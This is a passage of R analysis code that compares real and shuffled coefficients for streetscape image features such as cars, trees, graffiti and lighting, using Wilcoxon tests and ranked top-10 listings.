data$rbuildDiffAges <- apply(buildDiffAges, 1, mean)
data$rsdbuildDiffAges <- apply(buildDiffAges, 1, sd)
#Shuffle mean and sd
data$rmovCars2 <- apply(movCars2, 1, mean)
data$rsdmovCars2 <- apply(movCars2, 1, sd)
data$rparkCars2 <- apply(parkCars2, 1, mean)
data$rsdparkCars2 <- apply(parkCars2, 1, sd)
data$rmovCicly2 <- apply(movCicly2, 1, mean)
data$rsdmovCicly2 <- apply(movCicly2, 1, sd)
data$rbuildId2 <- apply(buildId2, 1, mean)
data$rsdbuildId2 <- apply(buildId2, 1, sd)
data$rbuildNRec2 <- apply(buildNRec2, 1, mean)
data$rsdbuildNRec2 <- apply(buildNRec2, 1, sd)
data$rtree2 <- apply(tree2, 1, mean)
data$rsdtree2 <- apply(tree2, 1, sd)
data$rsmallPla2 <- apply(smallPla2, 1, mean)
data$rsdsmallPla2 <- apply(smallPla2, 1, sd)
data$rdiffBuild2 <- apply(diffBuild2, 1, mean)
data$rsddiffBuild2 <- apply(diffBuild2, 1, sd)
data$rstreeFur2 <- apply(streeFur2, 1, mean)
data$rsdstreeFur2 <- apply(streeFur2, 1, sd)
data$rbasCol2 <- apply(basCol2, 1, mean)
data$rsdbasCol2 <- apply(basCol2, 1, sd)
data$rligh2 <- apply(ligh2, 1, mean)
data$rsdligh2 <- apply(ligh2, 1, sd)
data$raccenCol2 <- apply(accenCol2, 1, mean)
data$rsdaccenCol2 <- apply(accenCol2, 1, sd)
data$rpeop2 <- apply(peop2, 1, mean)
data$rsdpeop2 <- apply(peop2, 1, sd)
data$rgraff2 <- apply(graff2, 1, mean)
data$rsdgraff2 <- apply(graff2, 1, sd)
data$rbuildDiffAges2 <- apply(buildDiffAges2, 1, mean)
data$rsdbuildDiffAges2 <- apply(buildDiffAges2, 1, sd)
return (data)
}
iterations <- 10
simulateCoefShuffle <- function(agrad.l, iterations){
cmov <- cpark <- ccic <- cbuiid <- cbuiNR <- ctree <- csmalP <- cdiffB <- cfur <- cbcol <- clig <- cacol <- cgraf <- cdiffA <- cdeb <- cpav <- clan <- cwall <- cwind <- cskyA <- cskyAc <- cstreet <- cside <- cbuiH <- cpeop <- cacti <- 0
agrad.l2 <- randomizeCoeff(agrad.l, iterations)
print("### P-values for Coeff - Flavio")
res <- wilcox.test(agrad.l$movCars2, agrad.l2$rmovCars2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cmov = res$p.value
res <- wilcox.test(agrad.l$parkCars2, agrad.l2$rparkCars2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cpark = res$p.value
res <- wilcox.test(agrad.l$movCicly2, agrad.l2$rmovCicly2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
ccic = res$p.value
res <- wilcox.test(agrad.l$buildId2, agrad.l2$rbuildId2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cbuiid = res$p.value
res <- wilcox.test(agrad.l$buildNRec2, agrad.l2$rbuildNRec2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cbuiNR = res$p.value
res <- wilcox.test(agrad.l$tree2, agrad.l2$rtree2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
ctree = res$p.value
res <- wilcox.test(agrad.l$smallPla2, agrad.l2$rsmallPla2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
csmalP= res$p.value
res <- wilcox.test(agrad.l$diffBuild2, agrad.l2$rdiffBuild2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cdiffB = res$p.value
res <- wilcox.test(agrad.l$streeFur2, agrad.l2$rstreeFur2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cfur = res$p.value
res <- wilcox.test(agrad.l$basCol2, agrad.l2$rbasCol2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cbcol = res$p.value
res <- wilcox.test(agrad.l$ligh2, agrad.l2$rligh2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
clig = res$p.value
res <- wilcox.test(agrad.l$accenCol2, agrad.l2$raccenCol2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cacol = res$p.value
res <- wilcox.test(agrad.l$peop2, agrad.l2$rpeop2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cpeop = res$p.value
res <- wilcox.test(agrad.l$graff2, agrad.l2$rgraff2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cgraf = res$p.value
res <- wilcox.test(agrad.l$buildDiffAges2, agrad.l2$rbuildDiffAges2, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cdiffA = res$p.value
print(paste("P-values - mov cars", cmov)) #/ iterations))
print(paste("P-values - park cars", cpark)) #/ iterations))
print(paste("P-values - cyclists", ccic)) #/ iterations))
print(paste("P-values - build ident", cbuiid)) #/ iterations))
print(paste("P-values - build n rect", cbuiNR)) #/ iterations))
print(paste("P-values - trees", ctree)) #/ iterations))
print(paste("P-values - small planters",csmalP))# / iterations))
print(paste("P-values - diff buildings", cdiffB)) #/ iterations))
print(paste("P-values - furniture", cfur)) #/ iterations))
print(paste("P-values - bas col", cbcol)) #/ iterations))
print(paste("P-values - acce col", cacol)) #/ iterations))
print(paste("P-values - lig", clig)) #/ iterations))
print(paste("P-values - peop", cpeop)) #/ iterations))
print(paste("P-values - graffiti", cgraf)) #/ iterations))
print(paste("P-values - build diff ages", cdiffA)) #/ iterations))
print("### P-values for Coeff - Daniele")
res <- wilcox.test(agrad.l$movCars, agrad.l2$rmovCars, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cmov = res$p.value
res <- wilcox.test(agrad.l$parkCars, agrad.l2$rparkCars, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cpark = res$p.value
res <- wilcox.test(agrad.l$movCicly, agrad.l2$rmovCicly, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
ccic = res$p.value
res <- wilcox.test(agrad.l$buildId, agrad.l2$rbuildId, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cbuiid = res$p.value
res <- wilcox.test(agrad.l$buildNRec, agrad.l2$rbuildNRec, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cbuiNR = res$p.value
res <- wilcox.test(agrad.l$tree, agrad.l2$rtree, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
ctree = res$p.value
res <- wilcox.test(agrad.l$smallPla, agrad.l2$rsmallPla, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
csmalP= res$p.value
res <- wilcox.test(agrad.l$diffBuild, agrad.l2$rdiffBuild, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cdiffB = res$p.value
res <- wilcox.test(agrad.l$streeFur, agrad.l2$rstreeFur, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cfur = res$p.value
res <- wilcox.test(agrad.l$basCol, agrad.l2$rbasCol, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cbcol = res$p.value
res <- wilcox.test(agrad.l$ligh, agrad.l2$rligh, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
clig = res$p.value
res <- wilcox.test(agrad.l$accenCol, agrad.l2$raccenCol, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cacol = res$p.value
res <- wilcox.test(agrad.l$peop, agrad.l2$rpeop, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cpeop = res$p.value
res <- wilcox.test(agrad.l$graff, agrad.l2$rgraff, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cgraf = res$p.value
res <- wilcox.test(agrad.l$buildDiffAges, agrad.l2$rbuildDiffAges, na.action = na.exclude, conf.int = TRUE, paired = TRUE)
cdiffA = res$p.value
print(paste("P-values - mov cars", cmov)) #/ iterations))
print(paste("P-values - park cars", cpark)) #/ iterations))
print(paste("P-values - cyclists", ccic)) #/ iterations))
print(paste("P-values - build ident", cbuiid)) #/ iterations))
print(paste("P-values - build n rect", cbuiNR)) #/ iterations))
print(paste("P-values - trees", ctree)) #/ iterations))
print(paste("P-values - small planters",csmalP))# / iterations))
print(paste("P-values - diff buildings", cdiffB)) #/ iterations))
print(paste("P-values - furniture", cfur)) #/ iterations))
print(paste("P-values - bas col", cbcol)) #/ iterations))
print(paste("P-values - acce col", cacol)) #/ iterations))
print(paste("P-values - lig", clig)) #/ iterations))
print(paste("P-values - peop", cpeop)) #/ iterations))
print(paste("P-values - graffiti", cgraf)) #/ iterations))
print(paste("P-values - build diff ages", cdiffA)) #/ iterations))
return (agrad.l2)
}
printOutputOneListPerFeature <- function(agrad.l2, column1, column2){
print(">>>>>>>> One list - top 10 ordered by real world coef and containing real world and shuffle world data - Daniele")
print(head(arrange(select_(agrad.l2, "movCars", "rmovCars", "rsdmovCars", "maxMovCars", "sumMovCars", "image_url", column1, column2, "diff"), desc(movCars)), n = 10))
print(head(arrange(select_(agrad.l2, "parkCars", "rparkCars", "rsdparkCars", "maxParkCars","sumParkCars", "image_url", column1, column2, "diff"), desc(parkCars)), n = 10))
print(head(arrange(select_(agrad.l2, "movCicly", "rmovCicly", "rsdmovCicly", "maxMovCicly", "sumMovCicly", "image_url", column1, column2, "diff"), desc(movCicly)), n = 10))
print(head(arrange(select_(agrad.l2, "buildId", "rbuildId", "rsdbuildId", "maxBuildId", "sumBuildId","image_url", column1, column2, "diff"), desc(buildId)), n = 10))
print(head(arrange(select_(agrad.l2, "buildNRec", "rbuildNRec", "rsdbuildNRec", "maxBuildNRec", "sumBuildNRec", "image_url", column1, column2, "diff"), desc(buildNRec)), n = 10))
print(head(arrange(select_(agrad.l2, "tree", "rtree", "rsdtree", "maxTree", "sumTree", "image_url", column1, column2, "diff"), desc(tree)), n = 10))
print(head(arrange(select_(agrad.l2, "smallPla", "rsmallPla", "rsdsmallPla", "maxSmallPla","sumSmallPla", "image_url", column1, column2, "diff"), desc(smallPla)), n = 10))
print(head(arrange(select_(agrad.l2, "diffBuild", "rdiffBuild", "rsddiffBuild", "maxDiffBuild", "sumDiffBuild","image_url", column1, column2, "diff"), desc(diffBuild)), n = 10))
print(head(arrange(select_(agrad.l2, "streeFur", "rstreeFur", "rsdstreeFur", "maxStreeFur", "sumStreeFur", "image_url", column1, column2, "diff"), desc(streeFur)), n = 10))
print(head(arrange(select_(agrad.l2, "basCol", "rbasCol", "rsdbasCol", "maxBasCol", "sumBasCol", "image_url", column1, column2, "diff"), desc(basCol)), n = 10))
print(head(arrange(select_(agrad.l2, "accenCol", "raccenCol", "rsdaccenCol", "maxAccenCol", "sumAccenCol","image_url", column1, column2, "diff"), desc(accenCol)), n = 10))
print(head(arrange(select_(agrad.l2, "ligh", "rligh", "rsdligh", "maxLigh", "sumLigh","image_url", column1, column2, "diff"), desc(ligh)), n = 10))
print(head(arrange(select_(agrad.l2, "peop", "rpeop", "rsdpeop", "maxPeop", "sumPeop","image_url", column1, column2, "diff"), desc(peop)), n = 10))
print(head(arrange(select_(agrad.l2, "graff", "rgraff", "rsdgraff", "maxGraff", "sumGraff","image_url", column1, column2, "diff"), desc(graff)), n = 10))
print(head(arrange(select_(agrad.l2, "buildDiffAges", "rbuildDiffAges", "rsdbuildDiffAges", "maxBuildDiffAges", "sumBuildDiffAges","image_url", column1, column2, "diff"), desc(buildDiffAges)), n = 10))
print(">>>>>>>> One list - top 10 ordered by real world coef and containing real world and shuffle world data - Flavio")
print(head(arrange(select_(agrad.l2, "movCars2", "rmovCars2", "rsdmovCars2", "maxMovCars", "sumMovCars", "image_url", column1, column2, "diff"), desc(movCars2)), n = 10))
print(head(arrange(select_(agrad.l2, "parkCars2", "rparkCars2", "rsdparkCars2", "maxParkCars", "sumParkCars","image_url", column1, column2, "diff"), desc(parkCars2)), n = 10))
print(head(arrange(select_(agrad.l2, "movCicly2", "rmovCicly2", "rsdmovCicly2", "maxMovCicly", "sumMovCicly","image_url", column1, column2, "diff"), desc(movCicly2)), n = 10))
print(head(arrange(select_(agrad.l2, "buildId2", "rbuildId2", "rsdbuildId2", "maxBuildId", "sumBuildId","image_url", column1, column2, "diff"), desc(buildId2)), n = 10))
print(head(arrange(select_(agrad.l2, "buildNRec2", "rbuildNRec2", "rsdbuildNRec2", "maxBuildNRec", "sumBuildNRec","image_url", column1, column2, "diff"), desc(buildNRec2)), n = 10))
print(head(arrange(select_(agrad.l2, "tree2", "rtree2", "rsdtree2", "maxTree", "sumTree", "image_url", column1, column2, "diff"), desc(tree2)), n = 10))
print(head(arrange(select_(agrad.l2, "smallPla2", "rsmallPla2", "rsdsmallPla2", "maxSmallPla", "sumSmallPla","image_url", column1, column2, "diff"), desc(smallPla2)), n = 10))
print(head(arrange(select_(agrad.l2, "diffBuild2", "rdiffBuild2", "rsddiffBuild2", "maxDiffBuild", "sumDiffBuild","image_url", column1, column2, "diff"), desc(diffBuild2)), n = 10))
print(head(arrange(select_(agrad.l2, "streeFur2", "rstreeFur2", "rsdstreeFur2", "maxStreeFur", "sumStreeFur", "image_url", column1, column2, "diff"), desc(streeFur2)), n = 10))
print(head(arrange(select_(agrad.l2, "basCol2", "rbasCol2", "rsdbasCol2", "maxBasCol", "sumBasCol","image_url", column1, column2, "diff"), desc(basCol2)), n = 10))
print(head(arrange(select_(agrad.l2, "accenCol2", "raccenCol2", "rsdaccenCol2", "maxAccenCol", "sumAccenCol","image_url", column1, column2, "diff"), desc(accenCol2)), n = 10))
print(head(arrange(select_(agrad.l2, "ligh2", "rligh2", "rsdligh2", "maxLigh", "sumLigh","image_url", column1, column2, "diff"), desc(ligh2)), n = 10))
print(head(arrange(select_(agrad.l2, "peop2", "rpeop2", "rsdpeop2", "maxPeop", "sumPeop","image_url", column1, column2, "diff"), desc(peop2)), n = 10))
print(head(arrange(select_(agrad.l2, "graff2", "rgraff2", "rsdgraff2", "maxGraff", "sumGraff","image_url", column1, column2, "diff"), desc(graff2)), n = 10))
print(head(arrange(select_(agrad.l2, "buildDiffAges2", "rbuildDiffAges2", "rsdbuildDiffAges2", "maxBuildDiffAges","sumBuildDiffAges", "image_url", column1, column2, "diff"), desc(buildDiffAges2)), n = 10))
}
printOutputTwoListsPerFeature <- function(agrad.l2, column1, column2){
print(">>>>>>>> Two lists - top 10 ordered by real world coef ; top 10 ordered by shuffle world - Daniele")
print(head(arrange(select_(agrad.l2, "movCars", "maxMovCars", "image_url", column1, column2, "diff"), desc(movCars)), n = 10))
print(head(arrange(select_(agrad.l2, "rmovCars", "rsdmovCars", "maxMovCars", "image_url", column1, column2, "diff"), desc(rmovCars)), n = 10))
print(head(arrange(select_(agrad.l2, "parkCars", "maxParkCars", "image_url", column1, column2, "diff"), desc(parkCars)), n = 10))
print(head(arrange(select_(agrad.l2, "rparkCars", "rsdparkCars", "maxParkCars", "image_url", column1, column2, "diff"), desc(rparkCars)), n = 10))
print(head(arrange(select_(agrad.l2, "movCicly", "maxMovCicly", "image_url", column1, column2, "diff"), desc(movCicly)), n = 10))
print(head(arrange(select_(agrad.l2, "rmovCicly", "rsdmovCicly", "maxMovCicly", "image_url", column1, column2, "diff"), desc(rmovCicly)), n = 10))
print(head(arrange(select_(agrad.l2, "buildId", "maxBuildId", "image_url", column1, column2, "diff"), desc(buildId)), n = 10))
print(head(arrange(select_(agrad.l2, "rbuildId", "rsdbuildId", "maxBuildId", "image_url", column1, column2, "diff"), desc(rbuildId)), n = 10))
print(head(arrange(select_(agrad.l2, "buildNRec", "maxBuildNRec", "image_url", column1, column2, "diff"), desc(buildNRec)), n = 10))
print(head(arrange(select_(agrad.l2, "rbuildNRec", "rsdbuildNRec", "maxBuildNRec", "image_url", column1, column2, "diff"), desc(rbuildNRec)), n = 10))
print(head(arrange(select_(agrad.l2, "tree", "maxTree", "image_url", column1, column2, "diff"), desc(tree)), n = 10))
print(head(arrange(select_(agrad.l2, "rtree", "rsdtree", "maxTree", "image_url", column1, column2, "diff"), desc(rtree)), n = 10))
print(head(arrange(select_(agrad.l2, "smallPla", "maxSmallPla", "image_url", column1, column2, "diff"), desc(smallPla)), n = 10))
print(head(arrange(select_(agrad.l2, "rsmallPla", "rsdsmallPla", "maxSmallPla", "image_url", column1, column2, "diff"), desc(rsmallPla)), n = 10))
print(head(arrange(select_(agrad.l2, "diffBuild", "maxDiffBuild", "image_url", column1, column2, "diff"), desc(diffBuild)), n = 10))
print(head(arrange(select_(agrad.l2, "rdiffBuild", "rsddiffBuild", "maxDiffBuild", "image_url", column1, column2, "diff"), desc(rdiffBuild)), n = 10))
print(head(arrange(select_(agrad.l2, "streeFur", "maxStreeFur", "image_url", column1, column2, "diff"), desc(streeFur)), n = 10))
print(head(arrange(select_(agrad.l2, "rstreeFur", "rsdstreeFur", "maxStreeFur", "image_url", column1, column2, "diff"), desc(rstreeFur)), n = 10))
print(head(arrange(select_(agrad.l2, "basCol", "maxBasCol", "image_url", column1, column2, "diff"), desc(basCol)), n = 10))
print(head(arrange(select_(agrad.l2, "rbasCol", "rsdbasCol", "maxBasCol", "image_url", column1, column2, "diff"), desc(rbasCol)), n = 10))
print(head(arrange(select_(agrad.l2, "accenCol", "maxAccenCol", "image_url", column1, column2, "diff"), desc(accenCol)), n = 10))
print(head(arrange(select_(agrad.l2, "raccenCol", "rsdaccenCol", "maxAccenCol", "image_url", column1, column2, "diff"), desc(raccenCol)), n = 10))
print(head(arrange(select_(agrad.l2, "ligh", "maxLigh", "image_url", column1, column2, "diff"), desc(ligh)), n = 10))
print(head(arrange(select_(agrad.l2, "rligh", "rsdligh", "maxLigh", "image_url", column1, column2, "diff"), desc(rligh)), n = 10))
print(head(arrange(select_(agrad.l2, "peop", "maxPeop", "image_url", column1, column2, "diff"), desc(peop)), n = 10))
print(head(arrange(select_(agrad.l2, "rpeop", "rsdpeop", "maxPeop", "image_url", column1, column2, "diff"), desc(rpeop)), n = 10))
print(head(arrange(select_(agrad.l2, "graff", "maxGraff", "image_url", column1, column2, "diff"), desc(graff)), n = 10))
print(head(arrange(select_(agrad.l2, "rgraff", "rsdgraff", "maxGraff", "image_url", column1, column2, "diff"), desc(rgraff)), n = 10))
print(head(arrange(select_(agrad.l2, "buildDiffAges", "maxBuildDiffAges", "image_url", column1, column2, "diff"), desc(buildDiffAges)), n = 10))
print(head(arrange(select_(agrad.l2, "rbuildDiffAges", "rsdbuildDiffAges", "maxBuildDiffAges", "image_url", column1, column2, "diff"), desc(rbuildDiffAges)), n = 10))
print(">>>>>>>> Two lists - top 10 ordered by real world coef ; top 10 ordered by shuffle world - Flavio")
print(head(arrange(select_(agrad.l2, "movCars2", "maxMovCars", "sumMovCars","image_url", column1, column2, "diff"), desc(movCars2)), n = 10))
print(head(arrange(select_(agrad.l2, "rmovCars2", "rsdmovCars2", "maxMovCars", "sumMovCars", "image_url", column1, column2, "diff"), desc(rmovCars2)), n = 10))
print(head(arrange(select_(agrad.l2, "parkCars2", "maxParkCars", "sumParkCars","image_url", column1, column2, "diff"), desc(parkCars2)), n = 10))
print(head(arrange(select_(agrad.l2, "rparkCars2", "rsdparkCars2", "maxParkCars", "sumParkCars","image_url", column1, column2, "diff"), desc(rparkCars2)), n = 10))
print(head(arrange(select_(agrad.l2, "movCicly2", "maxMovCicly", "sumMovCicly","image_url", column1, column2, "diff"), desc(movCicly2)), n = 10))
print(head(arrange(select_(agrad.l2, "rmovCicly2", "rsdmovCicly2", "maxMovCicly", "sumMovCicly","image_url", column1, column2, "diff"), desc(rmovCicly2)), n = 10))
print(head(arrange(select_(agrad.l2, "buildId2", "maxBuildId", "sumBuildId","image_url", column1, column2, "diff"), desc(buildId2)), n = 10))
print(head(arrange(select_(agrad.l2, "rbuildId2", "rsdbuildId2", "maxBuildId", "sumBuildId","image_url", column1, column2, "diff"), desc(rbuildId2)), n = 10))
print(head(arrange(select_(agrad.l2, "buildNRec2", "maxBuildNRec", "sumBuildNRec","image_url", column1, column2, "diff"), desc(buildNRec2)), n = 10))
print(head(arrange(select_(agrad.l2, "rbuildNRec2", "rsdbuildNRec2", "maxBuildNRec", "sumBuildNRec","image_url", column1, column2, "diff"), desc(rbuildNRec2)), n = 10))
print(head(arrange(select_(agrad.l2, "tree2", "maxTree", "sumTree","image_url", column1, column2, "diff"), desc(tree2)), n = 10))
print(head(arrange(select_(agrad.l2, "rtree2", "rsdtree2", "maxTree", "sumTree","image_url", column1, column2, "diff"), desc(rtree2)), n = 10))
print(head(arrange(select_(agrad.l2, "smallPla2", "maxSmallPla", "sumSmallPla","image_url", column1, column2, "diff"), desc(smallPla2)), n = 10))
print(head(arrange(select_(agrad.l2, "rsmallPla2", "rsdsmallPla2", "maxSmallPla", "sumSmallPla","image_url", column1, column2, "diff"), desc(rsmallPla2)), n = 10))
print(head(arrange(select_(agrad.l2, "diffBuild2", "maxDiffBuild", "sumDiffBuild","image_url", column1, column2, "diff"), desc(diffBuild2)), n = 10))
print(head(arrange(select_(agrad.l2, "rdiffBuild2", "rsddiffBuild2", "maxDiffBuild", "sumDiffBuild","image_url", column1, column2, "diff"), desc(rdiffBuild2)), n = 10))
print(head(arrange(select_(agrad.l2, "streeFur2", "maxStreeFur", "sumStreeFur","image_url", column1, column2, "diff"), desc(streeFur2)), n = 10))
print(head(arrange(select_(agrad.l2, "rstreeFur2", "rsdstreeFur2", "maxStreeFur", "sumStreeFur","image_url", column1, column2, "diff"), desc(rstreeFur2)), n = 10))
print(head(arrange(select_(agrad.l2, "basCol2", "maxBasCol", "sumBasCol","image_url", column1, column2, "diff"), desc(basCol2)), n = 10))
print(head(arrange(select_(agrad.l2, "rbasCol2", "rsdbasCol2", "maxBasCol", "sumBasCol","image_url", column1, column2, "diff"), desc(rbasCol2)), n = 10))
print(head(arrange(select_(agrad.l2, "accenCol2", "maxAccenCol", "sumAccenCol","image_url", column1, column2, "diff"), desc(accenCol2)), n = 10))
print(head(arrange(select_(agrad.l2, "raccenCol2", "rsdaccenCol2", "maxAccenCol", "sumAccenCol","image_url", column1, column2, "diff"), desc(raccenCol2)), n = 10))
print(head(arrange(select_(agrad.l2, "ligh2", "maxLigh", "sumLigh","image_url", column1, column2, "diff"), desc(ligh2)), n = 10))
print(head(arrange(select_(agrad.l2, "rligh2", "rsdligh2", "maxLigh", "sumLigh","image_url", column1, column2, "diff"), desc(rligh2)), n = 10))
print(head(arrange(select_(agrad.l2, "peop2", "maxPeop", "sumPeop","image_url", column1, column2, "diff"), desc(peop2)), n = 10))
print(head(arrange(select_(agrad.l2, "rpeop2", "rsdpeop2", "maxPeop", "sumPeop","image_url", column1, column2, "diff"), desc(rpeop2)), n = 10))
print(head(arrange(select_(agrad.l2, "graff2", "maxGraff","sumGraff", "image_url", column1, column2, "diff"), desc(graff2)), n = 10))
print(head(arrange(select_(agrad.l2, "rgraff2", "rsdgraff2", "maxGraff", "sumGraff","image_url", column1, column2, "diff"), desc(rgraff2)), n = 10))
print(head(arrange(select_(agrad.l2, "buildDiffAges2", "maxBuildDiffAges", "sumBuildDiffAges","image_url", column1, column2, "diff"), desc(buildDiffAges2)), n = 10))
print(head(arrange(select_(agrad.l2, "rbuildDiffAges2", "rsdbuildDiffAges2", "maxBuildDiffAges", "sumBuildDiffAges","image_url", column1, column2, "diff"), desc(rbuildDiffAges2)), n = 10))
}
printOutputTwoListsAllFeaturesTog <- function(agrad.l2){
library(reshape)
print(">>>>>>>> One list with all features together with Daniele coeff - real world and shuffle world")
all <- melt(select(agrad.l2, movCars, parkCars, movCicly, buildId, buildNRec, tree, smallPla, diffBuild, streeFur, basCol, ligh, accenCol, peop, graff, buildDiffAges, image_url), id=c("image_url"))
all$random <- 0
all[all$variable == "movCars",]$random<- sum(agrad.l2$rmovCars)
all[all$variable == "parkCars",]$random<- sum(agrad.l2$rparkCars)
all[all$variable == "movCicly",]$random<- sum(agrad.l2$rmovCicly)
all[all$variable == "buildId",]$random<- sum(agrad.l2$rbuildId)
all[all$variable == "buildNRec",]$random<- sum(agrad.l2$rbuildNRec)
all[all$variable == "tree",]$random<- sum(agrad.l2$rtree)
all[all$variable == "smallPla",]$random<- sum(agrad.l2$rsmallPla)
all[all$variable == "diffBuild",]$random<- sum(agrad.l2$rdiffBuild)
all[all$variable == "streeFur",]$random<- sum(agrad.l2$rstreeFur)
all[all$variable == "basCol",]$random<- sum(agrad.l2$rbasCol)
all[all$variable == "accenCol",]$random<- sum(agrad.l2$raccenCol)
all[all$variable == "peop",]$random<- sum(agrad.l2$rpeop)
all[all$variable == "buildDiffAges",]$random<- sum(agrad.l2$rbuildDiffAges)
all[all$variable == "graff",]$random<- sum(agrad.l2$rgraff)
all[all$variable == "ligh",]$random<- sum(agrad.l2$rligh)
all$sd <- 0
all[all$variable == "movCars",]$sd <- agrad.l2$rsdmovCars
all[all$variable == "parkCars",]$sd <- agrad.l2$rsdparkCars
all[all$variable == "movCicly",]$sd <- agrad.l2$rsdmovCicly
all[all$variable == "buildId",]$sd <- agrad.l2$rsdbuildId
all[all$variable == "buildNRec",]$sd <- agrad.l2$rsdbuildNRec
all[all$variable == "tree",]$sd <- agrad.l2$rsdtree
all[all$variable == "smallPla",]$sd <- agrad.l2$rsdsmallPla
all[all$variable == "diffBuild",]$sd <- agrad.l2$rsddiffBuild
all[all$variable == "streeFur",]$sd <- agrad.l2$rsdstreeFur
all[all$variable == "basCol",]$sd <- agrad.l2$rsdbasCol
all[all$variable == "accenCol",]$sd <- agrad.l2$rsdaccenCol
all[all$variable == "peop",]$sd <- agrad.l2$rsdpeop
all[all$variable == "buildDiffAges",]$sd <- agrad.l2$rsdbuildDiffAges
all[all$variable == "graff",]$sd <- agrad.l2$rsdgraff
all[all$variable == "ligh",]$sd <- agrad.l2$rsdligh
print("### All")
print("##### Summary")
print( all %>% group_by(variable) %>% summarise( som=sum(value), rand=mean(random), std=mean(sd) ) %>% arrange(desc(som)) )
print("##### List")
print( arrange(all, desc(value)) )
print(">>>>>>>> Two lists with all features together with Daniele coeff - real world and shuffle world")
real <- melt(select(agrad.l2, movCars, parkCars, movCicly, buildId, buildNRec, tree, smallPla, diffBuild, streeFur, basCol, ligh, accenCol, peop, graff, buildDiffAges, image_url), id=c("image_url"))
shuff <- melt(select(agrad.l2, rmovCars, rparkCars, rmovCicly, rbuildId, rbuildNRec, rtree, rsmallPla, rdiffBuild, rstreeFur, rbasCol, rligh, raccenCol, rpeop, rgraff, rbuildDiffAges, image_url), id=c("image_url"))
shuff$sd <- 0
shuff[shuff$variable == "rmovCars",]$sd <- agrad.l2$rsdmovCars
shuff[shuff$variable == "rparkCars",]$sd <- agrad.l2$rsdparkCars
shuff[shuff$variable == "rmovCicly",]$sd <- agrad.l2$rsdmovCicly
shuff[shuff$variable == "rbuildId",]$sd <- agrad.l2$rsdbuildId
shuff[shuff$variable == "rbuildNRec",]$sd <- agrad.l2$rsdbuildNRec
shuff[shuff$variable == "rtree",]$sd <- agrad.l2$rsdtree
shuff[shuff$variable == "rsmallPla",]$sd <- agrad.l2$rsdsmallPla
shuff[shuff$variable == "rdiffBuild",]$sd <- agrad.l2$rsddiffBuild
shuff[shuff$variable == "rstreeFur",]$sd <- agrad.l2$rsdstreeFur
shuff[shuff$variable == "rbasCol",]$sd <- agrad.l2$rsdbasCol
shuff[shuff$variable == "raccenCol",]$sd <- agrad.l2$rsdaccenCol
shuff[shuff$variable == "rpeop",]$sd <- agrad.l2$rsdpeop
shuff[shuff$variable == "rbuildDiffAges",]$sd <- agrad.l2$rsdbuildDiffAges
shuff[shuff$variable == "rgraff",]$sd <- agrad.l2$rsdgraff
shuff[shuff$variable == "rligh",]$sd <- agrad.l2$rsdligh
print("### Real")
print("##### Summary")
print( real %>% group_by(variable) %>% summarise( som=sum(value) ) %>% arrange(desc(som)) )
print("##### List")
print( arrange(real, desc(value)) )
print("### Shuffle")
print("##### Summary")
print( shuff %>% group_by(variable) %>% summarise( som=sum(value), std=mean(sd) ) %>% arrange(desc(som)) )
print("##### List")
print( arrange(shuff, desc(value)) )
print(">>>>>>>> One list with all features together with Flavio coeff - real world and shuffle world")
all <- melt(select(agrad.l2, movCars2, parkCars2, movCicly2, buildId2, buildNRec2, tree2, smallPla2, diffBuild2, streeFur2, basCol2, ligh2, accenCol2, peop2, graff2, buildDiffAges2, image_url), id=c("image_url"))
all$sumDen <- 0
all[all$variable == "movCars2",]$sumDen <- agrad.l2$sumMovCars
all[all$variable == "parkCars2",]$sumDen <- agrad.l2$sumParkCars
all[all$variable == "movCicly2",]$sumDen <- agrad.l2$sumMovCicly
all[all$variable == "buildId2",]$sumDen <- agrad.l2$sumBuildId
all[all$variable == "buildNRec2",]$sumDen <- agrad.l2$sumBuildNRec
all[all$variable == "tree2",]$sumDen <- agrad.l2$sumTree
all[all$variable == "smallPla2",]$sumDen <- agrad.l2$sumSmallPla
all[all$variable == "diffBuild2",]$sumDen <- agrad.l2$sumDiffBuild
all[all$variable == "streeFur2",]$sumDen <- agrad.l2$sumStreeFur
all[all$variable == "basCol2",]$sumDen <- agrad.l2$sumBasCol
all[all$variable == "accenCol2",]$sumDen <- agrad.l2$sumAccenCol
all[all$variable == "peop2",]$sumDen <- agrad.l2$sumPeop
all[all$variable == "buildDiffAges2",]$sumDen <- agrad.l2$sumBuildDiffAges
all[all$variable == "graff2",]$sumDen <- agrad.l2$sumGraff
all[all$variable == "ligh2",]$sumDen <- agrad.l2$sumLigh
all$random <- 0
all[all$variable == "movCars2",]$random<- sum(agrad.l2$rmovCars2)
all[all$variable == "parkCars2",]$random<- sum(agrad.l2$rparkCars2)
all[all$variable == "movCicly2",]$random<- sum(agrad.l2$rmovCicly2)
all[all$variable == "buildId2",]$random<- sum(agrad.l2$rbuildId2)
all[all$variable == "buildNRec2",]$random<- sum(agrad.l2$rbuildNRec2)
all[all$variable == "tree2",]$random<- sum(agrad.l2$rtree2)
all[all$variable == "smallPla2",]$random<- sum(agrad.l2$rsmallPla2)
all[all$variable == "diffBuild2",]$random<- sum(agrad.l2$rdiffBuild2)
